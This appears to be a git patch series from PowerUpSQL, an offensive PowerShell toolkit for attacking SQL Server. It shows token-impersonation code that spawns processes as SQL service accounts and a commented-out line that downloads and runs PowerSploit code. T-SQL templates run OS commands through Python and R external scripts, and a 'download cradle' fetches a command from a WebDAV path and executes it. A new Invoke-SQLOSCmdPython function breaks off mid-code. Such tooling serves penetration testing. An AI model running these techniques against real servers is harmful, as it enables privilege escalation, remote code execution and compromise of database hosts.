$CloseHandle.Invoke($systemTokenInfo.hProcToken) | Out-Null - $systemTokenInfo = $null - } - - $ProcessIds = get-process | where {$_.name -inotmatch "^csrss$" -and $_.name -inotmatch "^system$" -and $_.id -ne 0} - - #Get all tokens - foreach ($Process in $ProcessIds) - { - $PrimaryTokenInfo = (Get-PrimaryToken -ProcessId $Process.Id -FullPrivs) - - #If a process is a protected process, it's primary token cannot be obtained. Don't try to enumerate it. - if ($PrimaryTokenInfo -ne $null) - { - [IntPtr]$hToken = [IntPtr]$PrimaryTokenInfo.hProcToken - - if ($hToken -ne [IntPtr]::Zero) - { - #Get the LUID corrosponding to the logon - $ReturnObj = Get-TokenInformation -hToken $hToken - if ($ReturnObj -ne $null) - { - $ReturnObj | Add-Member -MemberType NoteProperty -Name ProcessId -Value $Process.Id - - $AllTokens += $ReturnObj - } - } - else - { - Write-Warning "Couldn't retrieve token for Process: $($Process.Name). ProcessId: $($Process.Id)" - } - - foreach ($Thread in $Process.Threads) - { - $ThreadTokenInfo = Get-ThreadToken -ThreadId $Thread.Id - [IntPtr]$hToken = ($ThreadTokenInfo.hThreadToken) - - if ($hToken -ne [IntPtr]::Zero) - { - $ReturnObj = Get-TokenInformation -hToken $hToken - if ($ReturnObj -ne $null) - { - $ReturnObj | Add-Member -MemberType NoteProperty -Name ThreadId -Value $Thread.Id - - $AllTokens += $ReturnObj - } - } - } - } - } - - return $AllTokens - } - - - function Invoke-RevertToSelf - { - Param( - [Parameter(Position=0)] - [Switch] - $ShowOutput - ) - - $Success = $RevertToSelf.Invoke() - - if ($ShowOutput) - { - if ($Success) - { - Write-Output "RevertToSelf was successful. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" - } - else - { - Write-Output "RevertToSelf failed. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" - } - } - } - - - #Main function - function Main - { - if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) - { - Write-Error "Script must be run as administrator" -ErrorAction Stop - } - - #If running in session 0, force NoUI - if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0) - { - Write-Verbose "Running in Session 0, forcing NoUI (processes in Session 0 cannot have a UI)" - $NoUI = $true - } - - if ($PsCmdlet.ParameterSetName -ieq "RevToSelf") - { - Invoke-RevertToSelf -ShowOutput - } - elseif ($PsCmdlet.ParameterSetName -ieq "CreateProcess" -or $PsCmdlet.ParameterSetName -ieq "ImpersonateUser") - { - $AllTokens = Enum-AllTokens - - #Select the token to use - [IntPtr]$hToken = [IntPtr]::Zero - $UniqueTokens = (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser - if ($Username -ne $null -and $Username -ne '') - { - if ($UniqueTokens.ContainsKey($Username)) - { - $hToken = $UniqueTokens[$Username].hToken - Write-Verbose "Selecting token by username" - } - else - { - Write-Error "A token belonging to the specified username was not found. Username: $($Username)" -ErrorAction Stop - } - } - elseif ( $ProcessId -ne $null -and $ProcessId -ne 0) - { - foreach ($Token in $AllTokens) - { - if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $ProcessId) - { - $hToken = $Token.hToken - Write-Verbose "Selecting token by ProcessID" - } - } - - if ($hToken -eq [IntPtr]::Zero) - { - Write-Error "A token belonging to ProcessId $($ProcessId) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop - } - } - elseif ($ThreadId -ne $null -and $ThreadId -ne 0) - { - foreach ($Token in $AllTokens) - { - if (($Token | Get-Member ThreadId) -and $Token.ThreadId -eq $ThreadId) - { - $hToken = $Token.hToken - Write-Verbose "Selecting token by ThreadId" - } - } - - if ($hToken -eq [IntPtr]::Zero) - { - Write-Error "A token belonging to ThreadId $($ThreadId) could not be found. Either the thread doesn't exist or the thread is in a protected process and cannot be opened." -ErrorAction Stop - } - } - elseif ($Process -ne $null) - { - foreach ($Token in $AllTokens) - { - if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $Process.Id) - { - $hToken = $Token.hToken - Write-Verbose "Selecting token by Process object" - } - } - - if ($hToken -eq [IntPtr]::Zero) - { - Write-Error "A token belonging to Process $($Process.Name) ProcessId $($Process.Id) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop - } - } - else - { - Write-Error "Must supply a Username, ProcessId, ThreadId, or Process object" -ErrorAction Stop - } - - #Use the token for the selected action - if ($PsCmdlet.ParameterSetName -ieq "CreateProcess") - { - if (-not $NoUI) - { - Set-DesktopACLs - } - - Create-ProcessWithToken -hToken $hToken -ProcessName $CreateProcess -ProcessArgs $ProcessArgs -PassThru:$PassThru - - Invoke-RevertToSelf - } - elseif ($ImpersonateUser) - { - Invoke-ImpersonateUser -hToken $hToken | Out-Null - Write-Output "Running As: $([Environment]::UserDomainName)\$([Environment]::UserName)" - } - - Free-AllTokens -TokenInfoObjs $AllTokens - } - elseif ($PsCmdlet.ParameterSetName -ieq "WhoAmI") - { - Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" - } - else #Enumerate tokens - { - $AllTokens = Enum-AllTokens - - if ($PsCmdlet.ParameterSetName -ieq "ShowAll") - { - Write-Output $AllTokens - } - else - { - Write-Output (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser.Values - } - - Invoke-RevertToSelf - - Free-AllTokens -TokenInfoObjs $AllTokens - } - } - - - #Start the main function - Main -} - - - -Write-Host "Getting list of SQL Server services..." -$SqlServices = Get-WmiObject -Class win32_service | where {$_.pathname -like "*Microsoft SQL Server*"} | select displayname,pathname,StartName -$RunningProc = Get-WmiObject -Class win32_process | select processid,ExecutablePath - -Write-Host "Getting list of SQL Server processes..." -$RunningProc | -ForEach-Object { - - $p_ExecutablePath = $_.ExecutablePath - $p_processid = $_.processid - $SqlServices | - ForEach-Object { - $s_pathname = $_.pathname.Split("`"")[1] - $s_displayname = $_.displayname - $s_serviceaccount = $_.StartName - if($s_pathname -like "$p_ExecutablePath"){ - Write-Host "Creating console for service: $s_displayname - Account: $s_serviceaccount" - #Invoke-Expression (new-object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-TokenManipulation.ps1'); - Invoke-TokenManipulation -CreateProcess 'cmd.exe' -ProcessArgs '/C ssms.exe' -ProcessId $p_processid -ErrorAction SilentlyContinue - } - } -} - -Write-Host "Done." From 75d8c5bf131db987a51bde277b65c7f0bcf954d1 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 7 Sep 2017 12:18:36 -0500 Subject: [PATCH 077/145] Create oscmdexec_pythonscript.tsql --- templates/tsql/oscmdexec_pythonscript.tsql | 34 ++++++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 templates/tsql/oscmdexec_pythonscript.tsql diff --git a/templates/tsql/oscmdexec_pythonscript.tsql b/templates/tsql/oscmdexec_pythonscript.tsql new file mode 100644 index 0000000..d38b617 --- /dev/null +++ b/templates/tsql/oscmdexec_pythonscript.tsql @@ -0,0 +1,34 @@ +-- Requirement: Python must be setup during the installation. + +-- Enable advanced options +sp_configure 'show advanced options',1 +reconfigure +go + +-- Enable external scripts +-- Requires a restart of the SQL Server service to take effect +-- User must have "EXECUTE ANY EXTERNAL SCRIPT" privilege +sp_configure 'external scripts enabled',1 +reconfigure WITH OVERRIDE +go + +-- Run OS command via Python +-- Requires launch pad server to be running +-- Source: https://gist.github.com/james-otten/63389189ee73376268c5eb676946ada5 + +exec sp_execute_external_script +@language =N'Python', +@script=N'import subprocess +p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) +OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])' +WITH RESULT SETS (([cmd_out] nvarchar(max))) + +-- Disable external scripts +sp_configure 'external scripts enabled',1 +reconfigure +go + +-- Disable advanced options +sp_configure 'show advanced options',1 +reconfigure +go From 96e5b9e5f8c92bf75fa3619fbf7b5d5b54e8afcd Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 7 Sep 2017 12:19:51 -0500 Subject: [PATCH 078/145] Update oscmdexec_rscript.sql --- templates/tsql/oscmdexec_rscript.sql | 29 ++++++++++++++++++++-------- 1 file changed, 21 insertions(+), 8 deletions(-) diff --git a/templates/tsql/oscmdexec_rscript.sql b/templates/tsql/oscmdexec_rscript.sql index cd081ec..2851a61 100644 --- a/templates/tsql/oscmdexec_rscript.sql +++ b/templates/tsql/oscmdexec_rscript.sql @@ -1,17 +1,30 @@ --- Dependences: R runtime must be installed +-- Requirement: R must be setup during the installation. --- Enable Show Advanced Options -sp_configure 'Show Advanced Options',1 -RECONFIGURE -GO +-- Enable advanced options +sp_configure 'show advanced options',1 +reconfigure +go --- Enable external scripts enabled, may require a service restart +-- Enable external scripts +-- Requires a restart of the SQL Server service to take effect +-- User must have "EXECUTE ANY EXTERNAL SCRIPT" privilege sp_configure 'external scripts enabled',1 -RECONFIGURE -GO +reconfigure WITH OVERRIDE +go EXEC sp_execute_external_script @language=N'R', @script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))' WITH RESULT SETS (([cmd_out] text)); GO + +-- Disable external scripts +-- Requires a restart of the SQL Server service to take effect +sp_configure 'external scripts enabled',0 +reconfigure WITH OVERRIDE +go + +-- Disable advanced options +sp_configure 'show advanced options',0 +reconfigure +go From 86a8d2a8eaab413e149e4bcbc80533fbaf093c27 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 7 Sep 2017 12:21:50 -0500 Subject: [PATCH 079/145] Update oscmdexec_pythonscript.tsql --- templates/tsql/oscmdexec_pythonscript.tsql | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/templates/tsql/oscmdexec_pythonscript.tsql b/templates/tsql/oscmdexec_pythonscript.tsql index d38b617..a65107b 100644 --- a/templates/tsql/oscmdexec_pythonscript.tsql +++ b/templates/tsql/oscmdexec_pythonscript.tsql @@ -13,9 +13,7 @@ reconfigure WITH OVERRIDE go -- Run OS command via Python --- Requires launch pad server to be running -- Source: https://gist.github.com/james-otten/63389189ee73376268c5eb676946ada5 - exec sp_execute_external_script @language =N'Python', @script=N'import subprocess @@ -23,6 +21,14 @@ p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])' WITH RESULT SETS (([cmd_out] nvarchar(max))) +-- Get Python version +-- Source: https://gist.github.com/james-otten/63389189ee73376268c5eb676946ada5 +exec sp_execute_external_script +@language =N'Python', +@script=N'import sys +OutputDataSet = pandas.DataFrame([sys.version])' +WITH RESULT SETS ((python_version nvarchar(max))) + -- Disable external scripts sp_configure 'external scripts enabled',1 reconfigure From d69111d025940fb423561fa4a4da88f9323dde9c Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 7 Sep 2017 12:22:05 -0500 Subject: [PATCH 080/145] Update oscmdexec_pythonscript.tsql --- templates/tsql/oscmdexec_pythonscript.tsql | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/templates/tsql/oscmdexec_pythonscript.tsql b/templates/tsql/oscmdexec_pythonscript.tsql index a65107b..cef66fe 100644 --- a/templates/tsql/oscmdexec_pythonscript.tsql +++ b/templates/tsql/oscmdexec_pythonscript.tsql @@ -30,11 +30,11 @@ OutputDataSet = pandas.DataFrame([sys.version])' WITH RESULT SETS ((python_version nvarchar(max))) -- Disable external scripts -sp_configure 'external scripts enabled',1 +sp_configure 'external scripts enabled',0 reconfigure go -- Disable advanced options -sp_configure 'show advanced options',1 +sp_configure 'show advanced options',0 reconfigure go From 0cb87b86bcd67fd03295dad393ab0eaca4013b4f Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 7 Sep 2017 14:35:26 -0500 Subject: [PATCH 081/145] Create download_cradle_tsql_bulkinserver --- .../tsql/download_cradle_tsql_bulkinserver | 22 +++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 templates/tsql/download_cradle_tsql_bulkinserver diff --git a/templates/tsql/download_cradle_tsql_bulkinserver b/templates/tsql/download_cradle_tsql_bulkinserver new file mode 100644 index 0000000..b59f844 --- /dev/null +++ b/templates/tsql/download_cradle_tsql_bulkinserver @@ -0,0 +1,22 @@ +-- Bulnk Insert - Download Cradle Example + +-- Setup variables +Declare @cmd varchar(8000) + +-- Create temp table +CREATE TABLE #file (content nvarchar(4000)); + +-- Read file into temp table - web server must support propfind +BULK INSERT #file FROM '\\sharepoint.acme.com@SSL\Path\to\file.txt'; + +-- Select contents of file +SELECT @cmd = content FROM #file + +-- Display command +SELECT @cmd + +-- Run command +EXECUTE(@cmd) + +-- Drop the temp table +DROP TABLE #file From 66a755d5e3813a5d70e4cd06b91f0ecc19855bcc Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 7 Sep 2017 14:35:57 -0500 Subject: [PATCH 082/145] Rename download_cradle_tsql_bulkinserver to download_cradle_tsql_bulkinserver.sql --- ...le_tsql_bulkinserver => download_cradle_tsql_bulkinserver.sql} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename templates/tsql/{download_cradle_tsql_bulkinserver => download_cradle_tsql_bulkinserver.sql} (100%) diff --git a/templates/tsql/download_cradle_tsql_bulkinserver b/templates/tsql/download_cradle_tsql_bulkinserver.sql similarity index 100% rename from templates/tsql/download_cradle_tsql_bulkinserver rename to templates/tsql/download_cradle_tsql_bulkinserver.sql From 10ab4091a5f90b0d804a4dbe3921d9c5c728224d Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 7 Sep 2017 15:30:28 -0500 Subject: [PATCH 083/145] add webdav path option added webdav path option --- templates/tsql/readfile_BulkInsert.sql | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/templates/tsql/readfile_BulkInsert.sql b/templates/tsql/readfile_BulkInsert.sql index 4edfb07..38c3cde 100644 --- a/templates/tsql/readfile_BulkInsert.sql +++ b/templates/tsql/readfile_BulkInsert.sql @@ -20,3 +20,16 @@ SELECT content FROM #file -- Drop temp table DROP TABLE #file + +-- Option 3 - file via webdav path +-- Create temp table +CREATE TABLE #file (content nvarchar(4000)); + +-- Read file into temp table +BULK INSERT #file FROM '\\sharepoint.acme.com@SSL\Path\to\file.txt'; + +-- Select contents of file +SELECT content FROM #file + +-- Drop temp table +DROP TABLE #file From 32670e49055032bf6397876e5ccac54aec359c0f Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 7 Sep 2017 21:16:35 -0500 Subject: [PATCH 084/145] Update Invoke-SQLOSCmdR Added check for runtime configuration setting. --- PowerUpSQL.ps1 | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index b7585d0..cd03b5a 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -1502,6 +1502,18 @@ Function Invoke-SQLOSCmdR } } + # Check if the configuration has been change in the run state + $EnabledInRunValue = Get-SQLQuery -Instance $Instance -Query "SELECT value_in_use FROM master.sys.configurations WHERE name LIKE 'external scripts enabled'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -ExpandProperty value_in_use + if($EnabledInRunValue -eq 0){ + Write-Verbose -Message "$Instance : The 'external scripts enabled' setting is not enabled in runtime.'" + Write-Verbose -Message "$Instance : - The SQL Server service will need to be manually restarted for the change to take effect." + Write-Verbose -Message "$Instance : - Not recommended unless you're the DBA." + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'External scripts not enabled in runtime.') + return + }else{ + Write-Verbose -Message "$Instance : The 'external scripts enabled' setting is enabled in runtime.'" + } + # Setup output file $OutputDir = 'c:\windows\temp' $OutputFile = (-join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_})) From dc3650b8e444b5899cfbef73f7cca126e5f285bf Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 7 Sep 2017 21:17:46 -0500 Subject: [PATCH 085/145] Update version Update version --- PowerUpSQL.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index cd03b5a..13bb26b 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.83.98 + Version: 1.83.99 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 From 157749e39e0ee3404ae693d012ec49f235cfd395 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 7 Sep 2017 21:27:10 -0500 Subject: [PATCH 086/145] Clean up invoke-sqloscmdr Clean up invoke-sqloscmdr --- PowerUpSQL.ps1 | 22 +++------------------- 1 file changed, 3 insertions(+), 19 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 13bb26b..d6cef81 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.83.99 + Version: 1.83.100 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -1286,8 +1286,6 @@ Function Invoke-SQLOSCmdR VERBOSE: MSSQLSRV04\SQLSERVER2014 : External scripts are disabled. VERBOSE: MSSQLSRV04\SQLSERVER2014 : Enabled external scripts. VERBOSE: MSSQLSRV04\SQLSERVER2014 : Executing command: whoami - VERBOSE: MSSQLSRV04\SQLSERVER2014 : Reading command output from c:\windows\temp\OlHZP.txt - VERBOSE: MSSQLSRV04\SQLSERVER2014 : Removing file c:\windows\temp\OlHZP.txt VERBOSE: MSSQLSRV04\SQLSERVER2014 : Disabling external scripts VERBOSE: MSSQLSRV04\SQLSERVER2014 : Disabling Show Advanced Options @@ -1505,31 +1503,17 @@ Function Invoke-SQLOSCmdR # Check if the configuration has been change in the run state $EnabledInRunValue = Get-SQLQuery -Instance $Instance -Query "SELECT value_in_use FROM master.sys.configurations WHERE name LIKE 'external scripts enabled'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -ExpandProperty value_in_use if($EnabledInRunValue -eq 0){ - Write-Verbose -Message "$Instance : The 'external scripts enabled' setting is not enabled in runtime.'" + Write-Verbose -Message "$Instance : The 'external scripts enabled' setting is not enabled in runtime." Write-Verbose -Message "$Instance : - The SQL Server service will need to be manually restarted for the change to take effect." Write-Verbose -Message "$Instance : - Not recommended unless you're the DBA." $null = $TblResults.Rows.Add("$ComputerName","$Instance",'External scripts not enabled in runtime.') return }else{ Write-Verbose -Message "$Instance : The 'external scripts enabled' setting is enabled in runtime.'" - } - - # Setup output file - $OutputDir = 'c:\windows\temp' - $OutputFile = (-join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_})) - $OutputPath = "$outputdir\$outputfile.txt" + } # Setup query to run command write-verbose "$instance : Executing command: $Command" - $QueryCmdExecuteAlt = -@" -EXEC sp_execute_external_script - @language=N'R', - @script=N'OutputDataSet <- data.frame(system("cmd.exe /c $ComputerName",intern=T))' - WITH RESULT SETS (([cmd_out] text)); -GO -"@ - $QueryCmdExecute = @" EXEC sp_execute_external_script From 852a8cf1913982ecefe24b5f540140df2664a988 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 7 Sep 2017 21:40:05 -0500 Subject: [PATCH 087/145] Add Invoke-SQLOSCmdPython Add Invoke-SQLOSCmdPython --- PowerUpSQL.ps1 | 358 ++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 357 insertions(+), 1 deletion(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index d6cef81..0a79e3c 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.83.100 + Version: 1.84.100 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -1579,6 +1579,362 @@ EXEC sp_execute_external_script } +# ---------------------------------- +# Invoke-SQLOSCmdPython +# ---------------------------------- +# Author: Scott Sutherland +# Reference: https://gist.github.com/james-otten/63389189ee73376268c5eb676946ada5 +Function Invoke-SQLOSCmdPython +{ + <# + .SYNOPSIS + Execute command on the operating system as the SQL Server service account using the Python runtime language. + Supports threading, raw output, and table output. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER TimeOut + Connection time out. + .PARAMETER SuppressVerbose + Suppress verbose errors. Used when function is wrapped. + .PARAMETER Threads + Number of concurrent threads. + .PARAMETER Command + Operating command to be executed on the SQL Server. + .PARAMETER RawResults + Just show the raw results without the computer or instance name. + .EXAMPLE + PS C:\> Get-SQLInstanceLocal | Invoke-SQLOSCmdPython -Verbose -Command "whoami" + VERBOSE: Creating runspace pool and session states + VERBOSE: MSSQLSRV04 : Connection Failed. + VERBOSE: MSSQLSRV04\BOSCHSQL : Connection Success. + VERBOSE: MSSQLSRV04\BOSCHSQL : You are not a sysadmin. This command requires sysadmin privileges. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Connection Success. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : You are a sysadmin. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Show Advanced Options is already enabled. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : external scripts are already enabled. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Running command: whoami + VERBOSE: MSSQLSRV04\SQLSERVER2016 : Connection Failed. + VERBOSE: Closing the runspace pool + + ComputerName Instance CommandResults + ------------ -------- -------------- + MSSQLSRV04 MSSQLSRV04\BOSCHSQL No sysadmin privileges. + MSSQLSRV04 MSSQLSRV04\SQLSERVER2014 nt authority\system + MSSQLSRV04 MSSQLSRV04\SQLSERVER2016 Not Accessible + + .EXAMPLE + PS C:\> Invoke-SQLOSCmdPython -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Command "whoami" -RawResults + VERBOSE: Creating runspace pool and session states + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Connection Success. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : You are a sysadmin. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Show Advanced Options is disabled. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Enabled Show Advanced Options. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : External scripts are disabled. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Enabled external scripts. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Executing command: whoami + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Disabling external scripts + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Disabling Show Advanced Options + + nt authority\system + + VERBOSE: Closing the runspace pool + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + + [Parameter(Mandatory = $true, + HelpMessage = 'OS command to be executed.')] + [String]$Command = "whoami", + + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut, + + [Parameter(Mandatory = $false, + HelpMessage = 'Number of threads.')] + [int]$Threads = 1, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose, + + [Parameter(Mandatory = $false, + HelpMessage = 'Just show the raw results without the computer or instance name.')] + [switch]$RawResults + ) + + Begin + { + # Setup data table for output + $TblCommands = New-Object -TypeName System.Data.DataTable + $TblResults = New-Object -TypeName System.Data.DataTable + $null = $TblResults.Columns.Add('ComputerName') + $null = $TblResults.Columns.Add('Instance') + $null = $TblResults.Columns.Add('CommandResults') + + + # Setup data table for pipeline threading + $PipelineItems = New-Object -TypeName System.Data.DataTable + + # set instance to local host by default + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Ensure provided instance is processed + if($Instance) + { + $ProvideInstance = New-Object -TypeName PSObject -Property @{ + Instance = $Instance + } + } + + # Add instance to instance list + $PipelineItems = $PipelineItems + $ProvideInstance + } + + Process + { + # Create list of pipeline items + $PipelineItems = $PipelineItems + $_ + } + + End + { + # Define code to be multi-threaded + $MyScriptBlock = { + $Instance = $_.Instance + + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Setup DAC string + if($DAC) + { + # Create connection object + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut + } + else + { + # Create connection object + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut + } + + # Attempt connection + try + { + # Open connection + $Connection.Open() + + if(-not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + + # Switch to track external scripting status + $DisableShowAdvancedOptions = 0 + $DisableExternalScripts = 0 + + # Check version, 2016 or later + + # Get sysadmin status + $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin + + # Check if external scripting is enabled + if($IsSysadmin -eq 'Yes') + { + Write-Verbose -Message "$Instance : You are a sysadmin." + $IsExternalScriptsEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'external scripts enabled'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + $IsShowAdvancedEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + } + else + { + Write-Verbose -Message "$Instance : You are not a sysadmin. This command requires sysadmin privileges." + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'No sysadmin privileges.') + return + } + + # Enable show advanced options if needed + if ($IsShowAdvancedEnabled -eq 1) + { + Write-Verbose -Message "$Instance : Show Advanced Options is already enabled." + } + else + { + Write-Verbose -Message "$Instance : Show Advanced Options is disabled." + $DisableShowAdvancedOptions = 1 + + # Try to enable Show Advanced Options + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Check if configuration change worked + $IsShowAdvancedEnabled2 = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + + if ($IsShowAdvancedEnabled2 -eq 1) + { + Write-Verbose -Message "$Instance : Enabled Show Advanced Options." + } + else + { + Write-Verbose -Message "$Instance : Enabling Show Advanced Options failed. Aborting." + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Could not enable Show Advanced Options.') + return + } + } + + # Enable external scripts if needed + if ($IsExternalScriptsEnabled -eq 1) + { + Write-Verbose -Message "$Instance : External scripts are already enabled." + } + else + { + Write-Verbose -Message "$Instance : External scripts enabled are disabled." + $DisableExternalScripts = 1 + + # Try to enable Ole Automation Procedures + Get-SQLQuery -Instance $Instance -Query "sp_configure 'external scripts enabled',1;RECONFIGURE WITH OVERRIDE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Check if configuration change worked + $IsExternalScriptsEnabled2 = Get-SQLQuery -Instance $Instance -Query 'sp_configure "external scripts enabled"' -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + + if ($IsExternalScriptsEnabled2 -eq 1) + { + Write-Verbose -Message "$Instance : Enabled external scripts." + } + else + { + Write-Verbose -Message "$Instance : Enabling external scripts failed. Aborting." + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Could not enable external scripts.') + + return + } + } + + # Check if the configuration has been change in the run state + $EnabledInRunValue = Get-SQLQuery -Instance $Instance -Query "SELECT value_in_use FROM master.sys.configurations WHERE name LIKE 'external scripts enabled'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -ExpandProperty value_in_use + if($EnabledInRunValue -eq 0){ + Write-Verbose -Message "$Instance : The 'external scripts enabled' setting is not enabled in runtime." + Write-Verbose -Message "$Instance : - The SQL Server service will need to be manually restarted for the change to take effect." + Write-Verbose -Message "$Instance : - Not recommended unless you're the DBA." + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'External scripts not enabled in runtime.') + return + }else{ + Write-Verbose -Message "$Instance : The 'external scripts enabled' setting is enabled in 